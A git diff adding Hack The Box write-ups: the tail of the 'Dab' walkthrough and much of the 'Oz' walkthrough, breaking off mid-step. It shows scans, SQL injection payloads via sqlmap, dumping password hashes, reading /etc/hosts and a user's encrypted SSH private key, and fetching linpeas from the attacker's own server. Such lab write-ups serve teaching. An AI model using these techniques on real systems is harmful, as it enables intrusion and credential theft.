ssh genevieve@10.10.10.86 + The authenticity of host '10.10.10.86 (10.10.10.86)' can't be established. + ECDSA key fingerprint is SHA256:3gHAJvc1zomI4M6+oCp/3xrMyS6DMPbMFEGDbBO2Qso. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.86' (ECDSA) to the list of known hosts. + genevieve@10.10.10.86's password: + Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-133-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 0 packages can be updated. + 0 updates are security updates. + + + Last login: Mon Mar 26 23:42:41 2018 from 172.23.10.99 + genevieve@dab:~$ id + uid=1000(genevieve) gid=1000(genevieve) groups=1000(genevieve) + genevieve@dab:~$ cat user.txt + 9bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! we managed to find the user flag. + +## **Part 3 : Getting Root Access** + +Now let's enumerate this box from genevieve's POV, to do so we'll use the linpeas script: + + + genevieve@dab:~$ which wget ; which curl + /usr/bin/wget + /usr/bin/curl + + + +Looks like both curl and wget are on the server, this means that we will be able to upload our script onto the server easily, most likely in /tmp or in /dev/shm. + + + [ 10.10.14.16/23 ] [ /dev/pts/4 ] [~/_HTB/dab] + → wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh + --2021-01-16 14:29:02-- https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.64.133, 151.101.0.133, 151.101.192.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.64.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 319969 (312K) [text/plain] + Saving to: ‘linpeas.sh’ + + linpeas.sh 100%[============================================================================================>] 312.47K --.-KB/s in 0.09s + + 2021-01-16 14:29:02 (3.36 MB/s) - ‘linpeas.sh’ saved [319969/319969] + + + [ 10.10.14.16/23 ] [ /dev/pts/4 ] [~/_HTB/dab] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + + + genevieve@dab:/dev/shm$ wget http://10.10.14.16:9090/linpeas.sh + --2021-01-16 08:30:02-- http://10.10.14.16:9090/linpeas.sh + Connecting to 10.10.14.16:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 319969 (312K) [text/x-sh] + Saving to: ‘linpeas.sh’ + + linpeas.sh 100%[============================================================================================>] 312.47K 715KB/s in 0.4s + + 2021-01-16 08:30:02 (715 KB/s) - ‘linpeas.sh’ saved [319969/319969] + + genevieve@dab:/dev/shm$ chmod +x linpeas.sh + genevieve@dab:/dev/shm$ ./linpeas.sh + + + +` ![](prg/12/20.png) + +Let it run, and then you can inspect what's interesting, most importantly the /sbin/ldconfig binary has the setuid bit enabled to run as root. ldconfig: + +![](prg/12/21.png) + + + [ 10.10.14.16/23 ] [ /dev/pts/5 ] [~] + → man ldconfig + + + DESCRIPTION + ldconfig creates the necessary links and cache to the most recent shared libraries found in the directories specified on the command line, in the file + /etc/ld.so.conf, and in the trusted directories, /lib and /usr/lib (on some 64-bit architectures such as x86-64, /lib and /usr/lib are the trusted directories for + 32-bit libraries, while /lib64 and /usr/lib64 are used for 64-bit libraries). + The cache is used by the run-time linker, ld.so or ld-linux.so. ldconfig checks the header and filenames of the libraries it encounters when determining which ver‐ + sions should have their links updated. + ldconfig will attempt to deduce the type of ELF libraries (i.e., libc5 or libc6/glibc) based on what C libraries, if any, the library was linked against. + + + +The second binary we need is located in /usr/bin/myexec: + +![](prg/12/22.png) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/13.md b/Hard/13.md new file mode 100644 index 0000000..fb3e9ed --- /dev/null +++ b/Hard/13.md @@ -0,0 +1,618 @@ +# Oz Writeup + +![](img/13.png) + +## Introduction : + +Oz is a hard linux box released back in September 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.16/23 ] [ /dev/pts/1 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.96 --max-retries 0 -Pn --min-rate=500 | grep Discovered + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Discovered open port 8080/tcp on 10.10.10.96 + Discovered open port 80/tcp on 10.10.10.96 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.16/23 ] [ /dev/pts/1 ] [~] + → nmap -sCV -p 80,8080 10.10.10.96 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-17 11:52 CET + Nmap scan report for 10.10.10.96 + Host is up (0.041s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14) + |_http-server-header: Werkzeug/0.14.1 Python/2.7.14 + |_http-title: OZ webapi + |_http-trane-info: Problem with XML parsing of /evox/about + 8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14) + | http-open-proxy: Potentially OPEN proxy. + |_Methods supported:CONNECTION + | http-title: GBR Support - Login + |_Requested resource was http://10.10.10.96:8080/login + |_http-trane-info: Problem with XML parsing of /evox/about + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 7.99 seconds + + + +## **Part 2 : Getting User Access** + +The nmap scan hints us towards port 80 and 8080 so let's try to enumerate it: + + + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.96 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.96 + [+] Threads: 10 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2021/01/17 11:55:43 Starting gobuster + =============================================================== + Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.96/194ad667-6357-4e67-8b9f-601382c8bc49 => 200. To force processing of Wildcard responses, specify the '--wildcard' switch + + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.96:8080 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.96:8080 + [+] Threads: 10 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2021/01/17 11:55:47 Starting gobuster + =============================================================== + Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.96:8080/d87af5e8-6226-494c-9eeb-8fd9699648b3 => 200. To force processing of Wildcard responses, specify the '--wildcard' switch + + + +Dirbusting won't help us here, so let's view the pages manually: + +![](prg/13/2.png) + +Port 8080 gives us a login page, however there doesn't seem to be any sql injections nor can we dirbust it. + +![](prg/13/1.png) + +Port 80 gives us a webAPI asking for an username + +![](prg/13/3.png) + +As we give different usernames we get a different response, so let's continue from curl: + + + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → curl 10.10.10.96 + + OZ webapi + + + ### Please register a username! + + + % + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → curl 10.10.10.96/nothing + Please register a username!% + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → curl 10.10.10.96/nothing2 + GSBG0D4LRACK1065VFTSOVAP5C7PCG3TB49PFCF7MEQ6IIR0IO7M4PEMXD36ML42NTDAH4ZSALOZW9OWXT6RJ85I3XE49RA6JDT537SIGV82U5F9DR5X8SAB9WI637PGN4UBZ2K7WTBTSBQGR6Z2ZKWH39MJSFEP3AMSM2XTE9VJPTM9LSNUV7ZPPNWOJBV743Q6NMR5WNHSQ4J6O19E5S0KTFMSUUQO6OA5X2U0GZK0W0P% + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → curl 10.10.10.96/nothing3 + Please register a username!% + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → curl 10.10.10.96/nothing4 + DF03OPTMZ596RUG97CSR8KE2ZEP31YP95VEESEDAIT2ZFFVLLG71Q1% + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → curl 10.10.10.96/nothing5 + Please register a username!% + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → curl 10.10.10.96/nothing6 + KQAISB6RL5L8VGSR4JWJHE35HA77FUF1L9A1WHD8F1PNEM5MTADE0PZZ42HAIRI6H57U5CBRZGLBPD25G3EP547BMBL3RE7QWFML3879YX2FE20HRU7U5Y40WIWEXQS1H1OYYP62AW86PA6ORH9XFBTC8E6H16TNPBYVDO% + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → curl 10.10.10.96/nothing7 + 38NQLZG275I1W7SJW67SPMDMR9MXIDWOSZVA6M1R990A0VQXYXVZAPOB07QF0RX9E92HZ2S3XLOV7ST0O6F4TH2710WPCOVX7TXLSUQSYNQMYIUG1W0QIZKYE8MHWCU6HI2OKPSKGXFTQG9QRAI0S4SB5X82UUGSI4N18XEQP4NIBBACYVODBYCGI15NP3AYBVNJMXRN3YN3P7BD8CPLJCY8W8KKVEPVT51BKETON14BTO4M19S2% + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → curl 10.10.10.96/nothing8 + M8KAGOFMGES8MS9TS3V53ZWRHCFFAA8YVL0MZ86JRJNMJJP9JOGXV3SNUSHKJ4GG0HD7DCN1Y5X43DDE2GB5DA7WV6MWKJO4HGSP5U8WCJ9XWGJVH2B7XL8XKGVUC0FWCZPO1WTQFK49Q3DJG23VPMXEC4NFZ8435VAXDVPDBGFK3DDQFL1V3DWFWSBWTSDQRP943% + + + + + +We can use wfuzz to enumerate the responses from port 80, and exclude the responses that include only 1-4 words: + + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → wfuzz -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --hw 1,4 10.10.10.96/FUZZ + /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.96/FUZZ + Total requests: 87664 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000001: 200 3 L 6 W 75 Ch "# directory-list-2.3-small.txt" + 000000003: 200 3 L 6 W 75 Ch "# Copyright 2007 James Fisher" + 000000007: 200 3 L 6 W 75 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/" + 000000014: 200 3 L 6 W 75 Ch "http://10.10.10.96/" + 000000006: 200 3 L 6 W 75 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this" + 000000011: 200 3 L 6 W 75 Ch "# Priority ordered case sensative list, where entries were found" + 000000005: 200 3 L 6 W 75 Ch "# This work is licensed under the Creative Commons" + 000000013: 200 3 L 6 W 75 Ch "#" + 000000010: 200 3 L 6 W 75 Ch "#" + 000000008: 200 3 L 6 W 75 Ch "# or send a letter to Creative Commons, 171 Second Street," + 000000009: 200 3 L 6 W 75 Ch "# Suite 300, San Francisco, California, 94105, USA." + 000000012: 200 3 L 6 W 75 Ch "# on atleast 3 different hosts" + 000000002: 200 3 L 6 W 75 Ch "#" + 000000004: 200 3 L 6 W 75 Ch "#" + 000000202: 200 3 L 6 W 79 Ch "users" + ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests... + + Total time: 0 + Processed Requests: 975 + Filtered Requests: 960 + Requests/sec.: 0 + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → curl 10.10.10.96/users + + OZ webapi + + + ### Please register a username! + + + % + + +From here we get the username register message in bold letters, which means that something is different + + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → curl 10.10.10.96/users -v + * Trying 10.10.10.96:80... + * Connected to 10.10.10.96 (10.10.10.96) port 80 (#0) + > GET /users HTTP/1.1 + > Host: 10.10.10.96 + > User-Agent: curl/7.74.0 + > Accept: */* + > + * Mark bundle as not supporting multiuse + * HTTP 1.0, assume close after body + < HTTP/1.0 200 OK + < Content-Type: text/html; charset=utf-8 + < Content-Length: 79 + < Server: Werkzeug/0.14.1 Python/2.7.14 + < Date: Thu, 21 Jan 2021 13:44:46 GMT + < + + OZ webapi + + + ### Please register a username! + + + * Closing connection 0 + % + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → curl 10.10.10.96/users/ -v + * Trying 10.10.10.96:80... + * Connected to 10.10.10.96 (10.10.10.96) port 80 (#0) + > GET /users/ HTTP/1.1 + > Host: 10.10.10.96 + > User-Agent: curl/7.74.0 + > Accept: */* + > + * Mark bundle as not supporting multiuse + * HTTP 1.0, assume close after body + < HTTP/1.0 200 OK + < Content-Type: text/html; charset=utf-8 + < Content-Length: 89 + < Server: Werkzeug/0.14.1 Python/2.7.14 + < Date: Thu, 21 Jan 2021 13:44:49 GMT + < + + OZ webapi + + + ### Please register a username! + + + * Closing connection 0 + % + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → curl 10.10.10.96/users/"'" -v + * Trying 10.10.10.96:80... + * Connected to 10.10.10.96 (10.10.10.96) port 80 (#0) + > GET /users/' HTTP/1.1 + > Host: 10.10.10.96 + > User-Agent: curl/7.74.0 + > Accept: */* + > + * Mark bundle as not supporting multiuse + * HTTP 1.0, assume close after body + < HTTP/1.0 500 INTERNAL SERVER ERROR + < Content-Type: text/html + < Content-Length: 291 + < Server: Werkzeug/0.14.1 Python/2.7.14 + < Date: Thu, 21 Jan 2021 13:44:53 GMT + < + + 500 Internal Server Error + + + # Internal Server Error + + + + + The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application. + + + * Closing connection 0 + + + +After enumerating that url we see something weird, putting ' after the url returns an internal server error with code 500. This is probably a SQL injection so let's verify that: + + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → sqlmap -u http://10.10.10.96/users/ --batch + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 14:42:40 /2021-01-21/ + + [14:42:40] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' + do you want to try URI injections in the target URL itself? [Y/n/q] Y + [14:42:40] [INFO] testing connection to the target URL + [14:42:40] [INFO] checking if the target is protected by some kind of WAF/IPS + [14:42:40] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS + are you sure that you want to continue with further target testing? [Y/n] Y + [14:42:40] [WARNING] please consider usage of tamper scripts (option '--tamper') + [14:42:40] [INFO] testing if the target URL content is stable + [14:42:41] [INFO] target URL content is stable + [14:42:41] [INFO] testing if URI parameter '#1*' is dynamic + [14:42:41] [INFO] URI parameter '#1*' appears to be dynamic + [14:42:41] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable + [14:42:41] [INFO] testing for SQL injection on URI parameter '#1*' + [14:42:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' + [14:42:42] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' + [14:42:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' + [14:42:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' + [14:42:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' + [14:42:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' + [14:42:45] [INFO] testing 'Generic inline queries' + [14:42:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' + [14:42:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' + [14:42:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' + [14:42:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' + [14:42:58] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable + it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y + for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y + [14:42:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' + [14:42:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found + [14:43:01] [INFO] target URL appears to be UNION injectable with 1 columns + [14:43:01] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable + URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N + sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests: + --- + Parameter: #1* (URI) + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: http://10.10.10.96:80/users/' AND (SELECT 5564 FROM (SELECT(SLEEP(5)))XXXV) AND 'JCgZ'='JCgZ + + Type: UNION query + Title: Generic UNION query (NULL) - 1 column + Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(0x716b6a6a71,0x4c53726344695a75686c4c714a766e4e56545a5a4b4c61655457764361447776536a684645747a54,0x716a767071)-- - + --- + [14:43:01] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) + [14:43:01] [WARNING] HTTP error codes detected during run: + 500 (Internal Server Error) - 40 times + [14:43:01] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/10.10.10.96' + + [*] ending @ 14:43:01 /2021-01-21/ + + + + +And here we see that the URL parameter is vulnerable, so let's enumerate it further to get the databases available: + + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → sqlmap -u http://10.10.10.96/users/ --dbs --batch + + available databases [4]: + [*] information_schema + [*] mysql + [*] ozdb + [*] performance_schema + + [14:44:45] [WARNING] HTTP error codes detected during run: + 500 (Internal Server Error) - 1 times + [14:44:45] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/10.10.10.96' + + [*] ending @ 14:44:45 /2021-01-21/ + + + +Now let's enumerate annd see if we can find password hashes: + + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → sqlmap -u http://10.10.10.96/users/ --passwords --batch + + --- + [14:45:17] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) + [14:45:17] [INFO] fetching database users password hashes + [14:45:18] [INFO] retrieved: 'root','' + [14:45:18] [INFO] retrieved: 'dorthi','' + [14:45:18] [INFO] retrieved: 'root','' + [14:45:18] [INFO] retrieved: 'root','*61A2BD98DAD2A09749B6FC77A9578609D32518DD' + [14:45:18] [INFO] retrieved: 'dorthi','*43AE542A63D9C43FF9D40D0280CFDA58F6C747CA' + [14:45:18] [INFO] retrieved: 'root','*61A2BD98DAD2A09749B6FC77A9578609D32518DD' + do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N + do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y + [14:45:19] [INFO] using hash method 'mysql_passwd' + what dictionary do you want to use? + [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) + [2] custom dictionary file + [3] file with list of dictionary files + > 1 + [14:45:19] [INFO] using default dictionary + do you want to use common password suffixes? (slow!) [y/N] N + [14:45:19] [INFO] starting dictionary-based cracking (mysql_passwd) + [14:45:19] [INFO] starting 3 processes + [14:45:31] [WARNING] no clear password(s) found + database management system users password hashes: + [*] dorthi [1]: + password hash: *43AE542A63D9C43FF9D40D0280CFDA58F6C747CA + [*] root [1]: + password hash: *61A2BD98DAD2A09749B6FC77A9578609D32518DD + + [14:45:31] [WARNING] HTTP error codes detected during run: + 500 (Internal Server Error) - 2 times + [14:45:31] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/10.10.10.96' + + [*] ending @ 14:45:31 /2021-01-21/ + + +Now let's see if we can get the contents of the ozdb database: + + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → sqlmap -u http://10.10.10.96/users/ -D ozdb --batch --dump + ___ + Table: users_gbw + [6 entries] + +----+----------------------------------------------------------------------------------------+-------------+ + | id | password | username | + +----+----------------------------------------------------------------------------------------+-------------+ + | 1 | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 | dorthi | + | 2 | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk | tin.man | + | 3 | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY | wizard.oz | + | 4 | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY | coward.lyon | + | 5 | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg | toto | + | 6 | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ | admin | + +----+----------------------------------------------------------------------------------------+-------------+ + + [14:47:36] [INFO] retrieved: 'db information loaded to ticket application for shared db access','12','GBR-9872' + Database: ozdb + Table: tickets_gbw + [12 entries] + +----+----------+--------------------------------------------------------------------------------------------------------------------------------+ + | id | name | desc | + +----+----------+--------------------------------------------------------------------------------------------------------------------------------+ + | 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. | + | 2 | GBR-1204 | Where did all these damn monkey's come from!? I need to call pest control. | + | 3 | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent. | + | 4 | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8= | + | 5 | GBR-4034 | Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today. | + | 6 | GBR-5012 | I bet you won't read the next entry. | + | 7 | GBR-7890 | HAHA! Made you look. | + | 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. | + | 9 | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= | + | 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt | + | 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt | + | 12 | GBR-9872 | db information loaded to ticket application for shared db access | + +----+----------+--------------------------------------------------------------------------------------------------------------------------------+ + + [14:47:36] [INFO] table 'ozdb.tickets_gbw' dumped to CSV file '/home/nothing/.local/share/sqlmap/output/10.10.10.96/dump/ozdb/tickets_gbw.csv' + [14:47:36] [WARNING] HTTP error codes detected during run: + 500 (Internal Server Error) - 5 times + [14:47:36] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/10.10.10.96' + + [*] ending @ 14:47:36 /2021-01-21/ + + + + +Now that we have MYSQL hashes, ozdb user hashes and possible ssh keys, we enumerate it further using the --file-read option, akthough it is not able to give us the user flag, it does give us the /etc/hosts file: + + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → sqlmap -u http://10.10.10.96/users/ --file-read=/etc/hosts --batch + + [14:53:22] [INFO] the back-end DBMS operating system is Linux + [14:53:22] [INFO] fetching file: '/etc/hosts' + do you want confirmation that the remote file '/etc/hosts' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y + [14:53:22] [INFO] the local file '/home/nothing/.local/share/sqlmap/output/10.10.10.96/files/_etc_hosts' and the remote file '/etc/hosts' have the same size (175 B) + files saved to [1]: + [*] /home/nothing/.local/share/sqlmap/output/10.10.10.96/files/_etc_hosts (same file) + + [14:53:22] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/10.10.10.96' + + [*] ending @ 14:53:22 /2021-01-21/ + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → cat /home/nothing/.local/share/sqlmap/output/10.10.10.96/files/_etc_hosts + 127.0.0.1 localhost + ::1 localhost ip6-localhost ip6-loopback + fe00::0 ip6-localnet + ff00::0 ip6-mcastprefix + ff02::1 ip6-allnodes + ff02::2 ip6-allrouters + 10.100.10.4 b9b370edd41a + + + +the randomly generated hostname is a hint that this is a docker container, next we grab the ssh keys: + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → sqlmap -u http://10.10.10.96/users/ --file-read=/home/dorthi/.ssh/id_rsa --batch + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~] + → cat /home/nothing/.local/share/sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa + -----BEGIN RSA PRIVATE KEY----- + Proc-Type: 4,ENCRYPTED + DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6 + + RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC + b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F + e1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBty + h9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbz + a//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybd + 9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6 + ZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcj + evroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2M + EycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yav + 5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQr + DHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJpto + bYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+ + wtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1V + 0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IH + znNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mft + icOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMC + zCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnu + vI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKw + w/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3 + c6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0 + nOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5 + uoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzb + /4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYv + QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu + XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3 + -----END RSA PRIVATE KEY----- + + + + + +This is an encrypted private key, so we could try to crack it using johnby first turning it into a hash + + + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~/_HTB/oz] + → locate ssh2john + /usr/share/john/ssh2john.py + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~/_HTB/oz] + → python $(locate ssh2john) + Usage: /usr/share/john/ssh2john.py + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~/_HTB/oz] + → python $(locate ssh2john) id_rsa > hash + + [ 10.10.14.14/23 ] [ /dev/pts/1 ] [~/_HTB/oz] + → cat hash + 